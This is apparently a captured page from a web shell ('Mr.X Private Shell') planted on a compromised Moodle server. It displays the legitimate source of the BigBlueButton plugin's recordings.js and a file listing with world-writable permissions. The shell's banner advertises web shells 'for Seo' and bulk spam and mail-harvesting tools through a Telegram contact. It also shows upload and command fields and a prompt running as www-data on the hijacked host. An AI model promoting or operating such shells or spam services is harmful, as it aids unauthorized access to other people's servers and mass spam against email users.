__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * JS for the recordings page on mod_bigbluebuttonbn plugin.
 *
 * @module      mod_bigbluebuttonbn/recordings
 * @copyright   2021 Blindside Networks Inc
 * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

import * as repository from './repository';
import {exception as displayException, saveCancelPromise} from 'core/notification';
import {prefetchStrings} from 'core/prefetch';
import {getString, getStrings} from 'core/str';
import {addIconToContainerWithPromise} from 'core/loadingicon';
import Pending from 'core/pending';

const stringsWithKeys = {
    first: 'view_recording_yui_first',
    prev: 'view_recording_yui_prev',
    next: 'view_recording_yui_next',
    last: 'view_recording_yui_last',
    goToLabel: 'view_recording_yui_page',
    goToAction: 'view_recording_yui_go',
    perPage: 'view_recording_yui_rows',
    showAll: 'view_recording_yui_show_all',
};
// Load global strings.
prefetchStrings('bigbluebuttonbn', Object.entries(stringsWithKeys).map((entry) => entry[1]));

const getStringsForYui = () => {
    const stringMap = Object.keys(stringsWithKeys).map(key => {
        return {
            key: stringsWithKeys[key],
            component: 'mod_bigbluebuttonbn',
        };
    });

    // Return an object with the matching string keys (we want an object with {<stringkey>: <stringvalue>...}).
    return getStrings(stringMap)
        .then((stringArray) => Object.assign(
            {},
            ...Object.keys(stringsWithKeys).map(
                (key, index) => ({[key]: stringArray[index]})
            )
        ));
};

const getYuiInstance = lang => new Promise(resolve => {
    // eslint-disable-next-line
    YUI({
        lang,
    }).use('intl', 'datatable', 'datatable-sort', 'datatable-paginator', 'datatype-number', Y => {
        resolve(Y);
    });
});

/**
 * Format the supplied date per the specified locale.
 *
 * @param   {string} locale
 * @param   {number} date
 * @returns {array}
 */
const formatDate = (locale, date) => {
    const realDate = new Date(date);
    return realDate.toLocaleDateString(locale, {
        weekday: 'long',
        year: 'numeric',
        month: 'long',
        day: 'numeric',
    });
};

/**
 * Format response data for the table.
 *
 * @param   {string} response JSON-encoded table data
 * @returns {array}
 */
const getFormattedData = response => {
    const recordingData = response.tabledata;
    return JSON.parse(recordingData.data);
};

const getTableNode = tableSelector => document.querySelector(tableSelector);

const fetchRecordingData = tableSelector => {
    const tableNode = getTableNode(tableSelector);
    if (tableNode === null) {
        return Promise.resolve(false);
    }

    if (tableNode.dataset.importMode) {
        return repository.fetchRecordingsToImport(
            tableNode.dataset.bbbid,
            tableNode.dataset.bbbSourceInstanceId,
            tableNode.dataset.bbbSourceCourseId,
            tableNode.dataset.tools,
            tableNode.dataset.groupId
        );
    } else {
        return repository.fetchRecordings(
            tableNode.dataset.bbbid,
            tableNode.dataset.tools,
            tableNode.dataset.groupId
        );
    }
};

/**
 * Fetch the data table functinos for the specified table.
 *
 * @param {String} tableId in which we will display the table
 * @param {String} searchFormId The Id of the relate.
 * @param {Object} dataTable
 * @returns {Object}
 * @private
 */
const getDataTableFunctions = (tableId, searchFormId, dataTable) => {
    const tableNode = getTableNode(tableId);
    const bbbid = tableNode.dataset.bbbid;

    const updateTableFromResponse = response => {
        if (!response || !response.status) {
            // There was no output at all.
            return;
        }

        dataTable.get('data').reset(getFormattedData(response));
        dataTable.set(
            'currentData',
            dataTable.get('data')
        );

        const currentFilter = dataTable.get('currentFilter');
        if (currentFilter) {
            filterByText(currentFilter);
        }
    };

    const refreshTableData = () => fetchRecordingData(tableId).then(updateTableFromResponse);

    const filterByText = value => {
        const dataModel = dataTable.get('currentData');
        dataTable.set('currentFilter', value);

        const escapedRegex = value.replace(/[-[\]{}()*+?.,\\^$|#\s]/g, "\\$&");
        const rsearch = new RegExp(`<span>.*?${escapedRegex}.*?</span>`, 'i');

        dataTable.set('data', dataModel.filter({asList: true}, item => {
            const name = item.get('recording');
            if (name && rsearch.test(name)) {
                return true;
            }

            const description = item.get('description');
            return description && rsearch.test(description);
        }));
    };

    const requestAction = async(element) => {
        const getDataFromAction = (element, dataType) => {
            const dataElement = element.closest(`[data-${dataType}]`);
            if (dataElement) {
                return dataElement.dataset[dataType];
            }

            return null;
        };

        const elementData = element.dataset;
        const payload = {
            bigbluebuttonbnid: bbbid,
            recordingid: getDataFromAction(element, 'recordingid'),
            additionaloptions: getDataFromAction(element, 'additionaloptions'),
            action: elementData.action,
        };
        // Slight change for import, for additional options.
        if (!payload.additionaloptions) {
            payload.additionaloptions = {};
        }
        if (elementData.action === 'import') {
            const bbbsourceid = getDataFromAction(element, 'source-instance-id');
            const bbbcourseid = getDataFromAction(element, 'source-course-id');
            if (!payload.additionaloptions) {
                payload.additionaloptions = {};
            }
            payload.additionaloptions.sourceid = bbbsourceid ? bbbsourceid : 0;
            payload.additionaloptions.bbbcourseid = bbbcourseid ? bbbcourseid : 0;
        }
        // Now additional options should be a json string.
        payload.additionaloptions = JSON.stringify(payload.additionaloptions);
        if (element.dataset.requireConfirmation === "1") {
            // Create the confirmation dialogue.
            try {
                await saveCancelPromise(
                    getString('confirm'),
                    recordingConfirmationMessage(payload),
                    getString('ok', 'moodle'),
                );
            } catch {
                // User cancelled the dialogue.
                return;
            }
        }

        return repository.updateRecording(payload);
    };

    const recordingConfirmationMessage = async(data) => {

        const playbackElement = document.querySelector(`#playbacks-${data.recordingid}`);
        const recordingType = await getString(
            playbackElement.dataset.imported === 'true' ? 'view_recording_link' : 'view_recording',
            'bigbluebuttonbn'
        );

        const confirmation = await getString(`view_recording_${data.action}_confirmation`, 'bigbluebuttonbn', recordingType);

        if (data.action === 'import') {
            return confirmation;
        }

        // If it has associated links imported in a different course/activity, show that in confirmation dialog.
        const associatedLinkCount = document.querySelector(`a#recording-${data.action}-${data.recordingid}`)?.dataset?.links;
        if (!associatedLinkCount || associatedLinkCount === 0) {
            return confirmation;
        }

        const confirmationWarning = await getString(
            associatedLinkCount === 1
                ? `view_recording_${data.action}_confirmation_warning_p`
                : `view_recording_${data.action}_confirmation_warning_s`,
            'bigbluebuttonbn',
            associatedLinkCount
        );

        return confirmationWarning + '\n\n' + confirmation;
    };

    /**
     * Process an action event.
     *
     * @param   {Event} e
     */
    const processAction = e => {
        const popoutLink = e.target.closest('[data-action="play"]');
        if (popoutLink) {
            e.preventDefault();

            const videoPlayer = window.open('', '_blank');
            videoPlayer.opener = null;
            videoPlayer.location.href = popoutLink.href;
            // TODO send a recording viewed event when this event will be implemented.
            return;
        }

        // Fetch any clicked anchor.
        const clickedLink = e.target.closest('a[data-action]');
        if (clickedLink && !clickedLink.classList.contains('disabled')) {
            e.preventDefault();

            // Create a spinning icon on the table.
            const iconPromise = addIconToContainerWithPromise(dataTable.get('boundingBox').getDOMNode());

            requestAction(clickedLink)
                .then(refreshTableData)
                .then(iconPromise.resolve)
                .catch(displayException);
        }
    };

    const processSearchSubmission = e => {
        // Prevent the default action.
        e.preventDefault();
        const parentNode = e.target.closest('div[role=search]');
        const searchInput = parentNode.querySelector('input[name=search]');
        filterByText(searchInput.value);
    };

    const registerEventListeners = () => {
        // Add event listeners to the table boundingBox.
        const boundingBox = dataTable.get('boundingBox').getDOMNode();
        boundingBox.addEventListener('click', processAction);

        // Setup the search from handlers.
        const searchForm = document.querySelector(searchFormId);
        if (searchForm) {
            const searchButton = document.querySelector(searchFormId + ' button');
            searchButton.addEventListener('click', processSearchSubmission);
        }
    };

    return {
        filterByText,
        refreshTableData,
        registerEventListeners,
    };
};

/**
 * Setup the data table for the specified BBB instance.
 *
 * @param {String} tableId in which we will display the table
 * @param {String} searchFormId The Id of the relate.
 * @param   {object} response The response from the data request
 * @returns {Promise}
 */
const setupDatatable = (tableId, searchFormId, response) => {
    if (!response) {
        return Promise.resolve();
    }

    if (!response.status) {
        // Something failed. Continue to show the plain output.
        return Promise.resolve();
    }

    const recordingData = response.tabledata;

    const pendingPromise = new Pending('mod_bigbluebuttonbn/recordings/setupDatatable');
    return Promise.all([getYuiInstance(recordingData.locale), getStringsForYui()])
        .then(([yuiInstance, strings]) => {
            // Here we use a custom formatter for date.
            // See https://clarle.github.io/yui3/yui/docs/api/classes/DataTable.BodyView.Formatters.html
            // Inspired from examples here: https://clarle.github.io/yui3/yui/docs/datatable/
            // Normally formatter have the prototype: (col) => (cell) => <computed value>, see:
            // https://clarle.github.io/yui3/yui/docs/api/files/datatable_js_formatters.js.html#l100 .
            const dateCustomFormatter = () => (cell) => formatDate(recordingData.locale, cell.value);
            // Add the fetched strings to the YUI Instance.
            yuiInstance.Intl.add('datatable-paginator', yuiInstance.config.lang, {...strings});
            yuiInstance.DataTable.BodyView.Formatters.customDate = dateCustomFormatter;
            return yuiInstance;
        })
        .then(yuiInstance => {

            const tableData = getFormattedData(response);
            yuiInstance.RecordsPaginatorView = Y.Base.create('my-paginator-view', yuiInstance.DataTable.Paginator.View, [], {
                _modelChange: function(e) {
                    var changed = e.changed,
                        totalItems = (changed && changed.totalItems);
                    if (totalItems) {
                        this._updateControlsUI(e.target.get('page'));
                    }
                }
            });
            return new yuiInstance.DataTable({
                paginatorView: "RecordsPaginatorView",
                width: "1195px",
                columns: recordingData.columns,
                data: tableData,
                rowsPerPage: 10,
                paginatorLocation: ['header', 'footer'],
                autoSync: true
            });
        })
        .then(dataTable => {
            dataTable.render(tableId);
            const {registerEventListeners} = getDataTableFunctions(
                tableId,
                searchFormId,
                dataTable);
            registerEventListeners();
            return dataTable;
        })
        .then(dataTable => {
            pendingPromise.resolve();
            return dataTable;
        });
};

/**
 * Initialise recordings code.
 *
 * @method init
 * @param {String} tableId in which we will display the table
 * @param {String} searchFormId The Id of the relate.
 */
export const init = (tableId, searchFormId) => {
    const pendingPromise = new Pending('mod_bigbluebuttonbn/recordings:init');

    fetchRecordingData(tableId)
        .then(response => setupDatatable(tableId, searchFormId, response))
        .then(() => pendingPromise.resolve())
        .catch(displayException);
};

Filemanager

Name Type Size Permission Actions
actions.js File 2.11 KB 0777
events.js File 2.09 KB 0777
guest_access_modal.js File 3.11 KB 0777
index.js File 1.07 KB 0777
modform.js File 13.56 KB 0777
recordings.js File 13.85 KB 0777
repository.js File 3.58 KB 0777
rooms.js File 3.51 KB 0777
roomupdater.js File 3.36 KB 0777
Filemanager